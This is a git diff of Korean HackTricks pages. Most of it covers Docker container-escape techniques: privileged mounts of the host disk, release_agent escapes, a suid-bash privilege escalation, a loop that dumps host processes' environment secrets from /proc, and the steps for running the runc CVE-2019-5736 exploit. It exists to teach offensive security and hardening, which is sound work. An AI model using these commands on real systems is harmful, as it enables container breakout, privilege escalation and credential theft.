컨테이너에서 실행하여 테스트해보세요:
|
||||
이러한 권한을 사용하면 단순히 호스트에서 루트로 실행 중인 init (pid:1)와 같은 프로세스의 네임스페이스로 이동할 수 있습니다. 다음을 실행하여 컨테이너에서 테스트해보세요:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### 특권
|
||||
|
||||
특권 플래그만으로 호스트의 디스크에 액세스하거나 release\_agent를 남용하여 탈출을 시도할 수 있습니다.
|
||||
특권 플래그만으로 호스트 디스크에 액세스하거나 release\_agent 또는 다른 이스케이프를 남용하여 탈출을 시도할 수 있습니다.
|
||||
|
||||
컨테이너에서 다음 우회 방법을 시험해보세요:
|
||||
```bash
|
||||
|
@ -125,11 +123,11 @@ docker run --rm -it --privileged ubuntu bash
|
|||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
그리고 완성! 호스트 파일 시스템에 액세스할 수 있습니다. 왜냐하면 `/mnt/hola` 폴더에 마운트되어 있기 때문입니다.
|
||||
그리고 보세요! 호스트 파일 시스템에 액세스할 수 있습니다. 왜냐하면 `/mnt/hola` 폴더에 마운트되어 있기 때문입니다.
|
||||
|
||||
#### 디스크 마운트 - Poc2
|
||||
|
||||
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기존 호스트 OS에 대한 추가 액세스를 시도할 수 있습니다. 아래는 컨테이너 내에서 이 공격자 벡터를 활용할 수 있는지 확인할 수 있는 몇 가지 일반적인 사항입니다:
|
||||
컨테이너 내에서, 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기존 호스트 OS에 대한 추가 액세스를 시도할 수 있습니다. 아래는 컨테이너 내에서 이 공격자 벡터를 활용할 수 있는지 확인할 수 있는 몇 가지 일반적인 사항입니다:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -150,7 +148,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Privileged Escape 기존 release\_agent 악용 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Privileged Escape Abusing existent release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="초기 PoC" %}
|
||||
```bash
|
||||
|
@ -230,7 +228,7 @@ cat /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**기법에 대한 설명**은 다음에서 찾을 수 있습니다:
|
||||
**기술에 대한 설명**은 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
|
@ -238,7 +236,7 @@ cat /output
|
|||
|
||||
#### 알려진 상대 경로 없이 release\_agent를 악용한 특권 탈출 - PoC3
|
||||
|
||||
이전 공격에서는 **호스트 파일 시스템 내 컨테이너의 절대 경로가 노출**되었습니다. 그러나 항상 그런 것은 아닙니다. 호스트 내부의 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다:
|
||||
이전 공격에서는 **호스트 파일 시스템 내 컨테이너의 절대 경로가 노출**되었습니다. 그러나 항상 그렇지는 않습니다. 호스트 내부의 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -330,16 +328,16 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### 권한 상승을 이용한 민감한 마운트 남용
|
||||
#### 권한 상승: 민감한 마운트 남용
|
||||
|
||||
**기본 호스트에 대한 정보를 제공하는 여러 파일이 마운트**될 수 있습니다. 이 중 일부는 호스트에서 **어떤 일이 발생할 때 실행되어야 하는 내용을 나타낼 수도** 있습니다 (공격자가 컨테이너를 탈출할 수 있게 합니다).\
|
||||
이러한 파일들의 남용으로 다음이 가능할 수 있습니다:
|
||||
**호스트 시스템에 대한 정보를 제공하는 여러 파일이 마운트**될 수 있습니다. 이 중 일부는 호스트에서 **어떤 일이 발생할 때 실행되어야 하는 내용을 나타낼 수도** 있습니다 (공격자가 컨테이너를 탈출할 수 있게 합니다).\
|
||||
이러한 파일들을 남용하면 다음이 가능할 수 있습니다:
|
||||
|
||||
* release\_agent (이미 이전에 다룸)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
- release\_agent (이미 이전에 다룸)
|
||||
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
그러나 이 페이지에서 **다른 민감한 파일**을 확인할 수 있습니다:
|
||||
|
||||
|
@ -349,13 +347,13 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 임의의 마운트
|
||||
|
||||
여러 경우에 **컨테이너에 호스트로부터의 볼륨이 마운트**된 것을 발견할 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 액세스/수정**할 수 있을 수 있습니다: 비밀 정보 읽기, ssh authorized\_keys 변경...
|
||||
여러 경우에 **컨테이너에 호스트로부터의 볼륨이 마운트**되어 있는 것을 발견할 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 액세스/수정**할 수 있을 수 있습니다: 비밀 정보 읽기, ssh authorized\_keys 변경하기...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 2개의 쉘과 호스트 마운트를 이용한 권한 상승
|
||||
|
||||
만약 **컨테이너 내에서 root 권한으로 액세스**할 수 있는 상태이고 호스트의 특정 폴더가 마운트되어 있으며 **비특권 사용자로 호스트로 이탈**하여 마운트된 폴더에 대한 읽기 액세스가 있다면, \
|
||||
만약 **컨테이너 내에서 root 권한에 액세스**할 수 있고 호스트의 특정 폴더가 마운트되어 있으며 **비특권 사용자로 호스트로 이탈**하여 마운트된 폴더에 대한 읽기 액세스가 있다면, \
|
||||
**컨테이너 내의 마운트된 폴더**에 **bash suid 파일**을 생성하고 호스트에서 해당 파일을 실행하여 권한 상승을 할 수 있습니다.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
|
@ -366,12 +364,12 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### 2개의 쉘을 사용한 권한 상승
|
||||
|
||||
만약 **컨테이너 내에서 root로 액세스**할 수 있고 **비특권 사용자로 호스트로 이탈**할 수 있다면, 컨테이너 내에서 MKNOD 기능(기본적으로 제공됨)을 사용하여 **호스트 내에서 권한 상승**을 악용할 수 있습니다. 이에 대한 설명은 [**이 게시물**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 확인할 수 있습니다.\
|
||||
만약 **컨테이너 내에서 root로 액세스**할 수 있고 **비권한 있는 사용자로 호스트로 이탈**한 경우, 컨테이너 내에서 MKNOD 기능(기본적으로 활성화)을 가지고 있다면 두 쉘을 남용하여 **호스트 내에서 권한 상승**을 할 수 있습니다. 이에 대한 설명은 [**이 게시물에서 설명되어 있습니다**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
이러한 기능을 통해 컨테이너 내의 root 사용자는 **블록 장치 파일을 생성**할 수 있습니다. 장치 파일은 **하드웨어 및 커널 모듈에 액세스**하는 데 사용되는 특수 파일입니다. 예를 들어, /dev/sda 블록 장치 파일은 **시스템 디스크의 원시 데이터를 읽을 수 있게** 합니다.
|
||||
|
||||
도커는 컨테이너 내에서 블록 장치 오용을 방지하기 위해 **블록 장치 읽기/쓰기 작업을 차단하는 cgroup 정책**을 시행합니다. 그러나, 컨테이너 내에서 블록 장치가 **생성**되면, **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 액세스할 수 있습니다. 이 액세스는 **프로세스 소유자가 컨테이너 내외에서 동일**해야 합니다.
|
||||
도커는 컨테이너 내에서 블록 장치 오용을 방지하기 위해 **블록 장치 읽기/쓰기 작업을 차단하는 cgroup 정책**을 시행합니다. 그러나, 컨테이너 내에서 블록 장치가 **생성**되면, **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 접근할 수 있습니다. 이 접근은 컨테이너 내부와 외부의 **프로세스 소유자가 동일**해야 합니다.
|
||||
|
||||
이 [**글에서의**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) **악용** 예시:
|
||||
이 [**글에서의 Exploitation**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) 예시:
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -415,7 +413,7 @@ docker run --rm -it --pid=host ubuntu bash
|
|||
```
|
||||
예를 들어, `ps auxn`과 같은 것을 사용하여 프로세스 목록을 볼 수 있고 명령어에서 민감한 세부 정보를 검색할 수 있습니다.
|
||||
|
||||
그런 다음, 호스트의 각 프로세스에 액세스할 수 있기 때문에 `/proc/`에서 그들의 환경 비밀을 도둑질할 수 있습니다:
|
||||
그런 다음, 호스트의 각 프로세스에 액세스할 수 있기 때문에 `/proc/`에서 그들의 환경 비밀을 도둑질할 수 있습니다. 다음을 실행하면 됩니다:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -444,25 +442,25 @@ cat /proc/635813/fd/4
|
|||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
만약 컨테이너가 Docker [호스트 네트워킹 드라이버(`--network=host`)](https://docs.docker.com/network/host/)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않습니다 (컨테이너는 호스트의 네트워킹 네임스페이스를 공유하며, 컨테이너에 자체 IP 주소가 할당되지 않습니다). 다시 말해, **컨테이너는 모든 서비스를 직접 호스트의 IP에 바인딩**합니다. 또한 컨테이너는 공유 인터페이스에서 호스트가 송수신하는 **모든 네트워크 트래픽을 가로챌 수 있습니다 (`tcpdump -i eth0`)**.
|
||||
만약 컨테이너가 Docker [호스트 네트워킹 드라이버(`--network=host`)](https://docs.docker.com/network/host/)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않습니다 (컨테이너는 호스트의 네트워킹 네임스페이스를 공유하며, 컨테이너에 자체 IP 주소가 할당되지 않습니다). 다시 말해, **컨테이너는 모든 서비스를 직접 호스트의 IP에 바인딩**합니다. 또한 컨테이너는 `tcpdump -i eth0`를 사용하여 호스트가 송수신하는 모든 네트워크 트래픽을 **가로챌 수 있습니다**.
|
||||
|
||||
예를 들어, 이를 사용하여 호스트와 메타데이터 인스턴스 간의 트래픽을 **스니핑하고 조작**할 수 있습니다.
|
||||
|
||||
다음 예시들과 같이:
|
||||
다음 예시에서와 같이:
|
||||
|
||||
* [Writeup: Google SRE에 연락하는 방법: 클라우드 SQL에 쉘 삽입](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [메타데이터 서비스 MITM을 통한 루트 권한 상승 (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
또한 호스트 내부에서 **로컬호스트에 바인딩된 네트워크 서비스에 액세스**하거나, 컨테이너가 액세스할 수 있는 것과 다를 수 있는 **노드의 메타데이터 권한에 액세스**할 수도 있습니다.
|
||||
또한 호스트 내부에 **localhost에 바인딩된 네트워크 서비스에 액세스**하거나, 컨테이너가 액세스할 수 있는 것과 다를 수 있는 **노드의 메타데이터 권한에 액세스**할 수도 있습니다.
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
`hostIPC=true`로 설정하면 호스트의 프로세스 간 통신 (IPC) 리소스에 액세스할 수 있습니다. 이는 `/dev/shm`의 **공유 메모리**와 같은 IPC 리소스를 읽고 쓸 수 있게 해줍니다. 이는 동일한 IPC 리소스를 다른 호스트나 파드 프로세스에서 사용하는 경우입니다. 이러한 IPC 메커니즘을 자세히 살펴보려면 `ipcs`를 사용하세요.
|
||||
`hostIPC=true`로 설정하면 호스트의 프로세스 간 통신 (IPC) 리소스에 액세스할 수 있습니다. 이는 `/dev/shm`의 **공유 메모리**와 같은 IPC 리소스를 읽고 쓸 수 있게 해줍니다. 이는 다른 호스트나 파드 프로세스에서 동일한 IPC 리소스를 사용하는 경우입니다. `ipcs`를 사용하여 이러한 IPC 메커니즘을 자세히 검사할 수 있습니다.
|
||||
|
||||
* **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 확인하세요: `ls -la /dev/shm`
|
||||
* **기존 IPC 시설 검사** - `/usr/bin/ipcs`를 사용하여 사용 중인 IPC 시설이 있는지 확인할 수 있습니다. 다음 명령어로 확인하세요: `ipcs -a`
|
||||
* **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 확인합니다: `ls -la /dev/shm`
|
||||
* **기존 IPC 시설 검사** - `/usr/bin/ipcs`를 사용하여 사용 중인 IPC 시설이 있는지 확인할 수 있습니다. 다음 명령어로 확인합니다: `ipcs -a`
|
||||
|
||||
### 권한 복구
|
||||
|
||||
|
@ -472,13 +470,13 @@ unshare -UrmCpf bash
|
|||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### 심볼릭 링크를 통한 사용자 네임스페이스 남용
|
||||
### 사용자 네임스페이스 시링크를 통한 남용
|
||||
|
||||
포스트 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 설명된 두 번째 기술은 사용자 네임스페이스를 통해 바인드 마운트를 남용하여 호스트 내의 파일에 영향을 줄 수 있는 방법을 보여줍니다 (해당 경우에서는 파일을 삭제하는 것).
|
||||
포스트 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 설명된 두 번째 기술은 사용자 네임스페이스를 통해 바인드 마운트를 남용하여 호스트 내의 파일을 영향을 줄 수 있는 방법을 보여줍니다(특정 경우에는 파일을 삭제).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -487,29 +485,29 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
루트로 `docker exec`를 실행할 수 있는 경우(아마도 sudo로), CVE-2019-5736을 남용하여 컨테이너를 탈출하여 권한을 상승시킬 수 있습니다 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 **호스트의 _/bin/sh_** 바이너리를 **컨테이너에서 덮어쓸 것**이므로, docker exec를 실행하는 사람은 페이로드를 트리거할 수 있습니다.
|
||||
루트로 `docker exec`를 실행할 수 있는 경우(아마도 sudo와 함께), CVE-2019-5736을 남용하여 컨테이너를 탈출하여 권한을 상승시킬 수 있습니다(여기에서 exploit을 확인할 수 있습니다: [https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 **호스트의 /bin/sh** 바이너리를 **컨테이너에서 덮어쓰게** 하여 docker exec를 실행하는 사람이 페이로드를 트리거할 수 있도록 합니다.
|
||||
|
||||
페이로드를 변경하고 `go build main.go`로 main.go를 빌드하세요. 결과 바이너리는 실행을 위해 docker 컨테이너에 배치되어야 합니다.\
|
||||
페이로드를 적절히 변경하고 `go build main.go`로 main.go를 빌드합니다. 결과 바이너리는 실행을 위해 docker 컨테이너에 배치되어야 합니다.\
|
||||
실행 시, `[+] Overwritten /bin/sh successfully`가 표시되면 호스트 머신에서 다음을 실행해야 합니다:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
이는 main.go 파일에 있는 페이로드를 트리거합니다.
|
||||
이는 main.go 파일에 존재하는 페이로드를 트리거합니다.
|
||||
|
||||
자세한 정보: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
컨테이너가 취약할 수 있는 다른 CVE들이 있습니다. 목록은 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 찾을 수 있습니다.
|
||||
컨테이너가 취약할 수 있는 다른 CVE들이 있으며, 목록은 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## Docker Custom Escape
|
||||
|
||||
### Docker Escape Surface
|
||||
|
||||
* **네임스페이스:** 프로세스는 네임스페이스를 통해 **다른 프로세스와 완전히 분리**되어야 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용을 탈출할 수 없습니다 (기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`를 통해 통신할 수 없음).
|
||||
* **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다 (그러나 권한은 제한됨).
|
||||
* **네임스페이스:** 프로세스는 네임스페이스를 통해 **다른 프로세스와 완전히 분리**되어야 하므로 네임스페이스로 인해 다른 프로세스와 상호작용을 탈출할 수 없습니다(기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`를 통해 통신할 수 없음).
|
||||
* **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(그러나 권한은 제한됨).
|
||||
* **캐퍼빌리티:** Docker는 다음 캐퍼빌리티를 남겨 두었습니다: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **시스콜:** 이러한 시스콜은 **루트 사용자가 호출할 수 없는 시스콜**입니다 (캐퍼빌리티 부족 + Seccomp 때문). 다른 시스콜을 사용하여 탈출을 시도할 수 있습니다.
|
||||
* **시스콜:** 이러한 시스콜은 **루트 사용자가 호출할 수 없는 시스콜**입니다(캐퍼빌리티 부족 + Seccomp으로 인해). 다른 시스콜을 사용하여 탈출을 시도할 수 있습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -535,7 +533,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="arm64 시스템 호출" %}
|
||||
{% 탭 제목="arm64 syscalls" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -555,7 +553,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}syscall_bf.c 파일에는 Docker 컨테이너에서 호스트 시스템의 커널에 직접 시스템 호출을 수행하는 코드가 포함되어 있습니다. 이를 통해 특권 상승을 이용하여 컨테이너를 벗어나는 공격이 가능해집니다. 이 코드는 컨테이너 내에서 실행되는 프로세스가 호스트 시스템에 루트 권한으로 액세스할 수 있도록 해주는 취약점을 악용할 수 있습니다. 이러한 취약점을 통해 공격자는 호스트 시스템 전체에 액세스할 수 있게 됩니다. 이러한 공격은 Docker 컨테이너의 보안을 강화하는 데 중요한 역할을 합니다. %}
|
||||
{% tab title="syscall_bf.c" %}syscall_bf.c 파일에는 Docker 컨테이너에서 호스트 시스템으로의 권한 상승을 가능케 하는 시스템 콜 브레이크아웃 코드가 포함되어 있습니다. 이 코드는 Docker 컨테이너 내에서 특권 권한을 얻기 위해 사용될 수 있으며, 주의해야 합니다. 코드를 분석하고 방어 수단을 마련하는 것이 중요합니다. {% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -619,7 +617,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# 유용한 Linux 명령어
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -15,9 +15,9 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -330,19 +330,19 @@ iptables -P OUTPUT ACCEPT
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
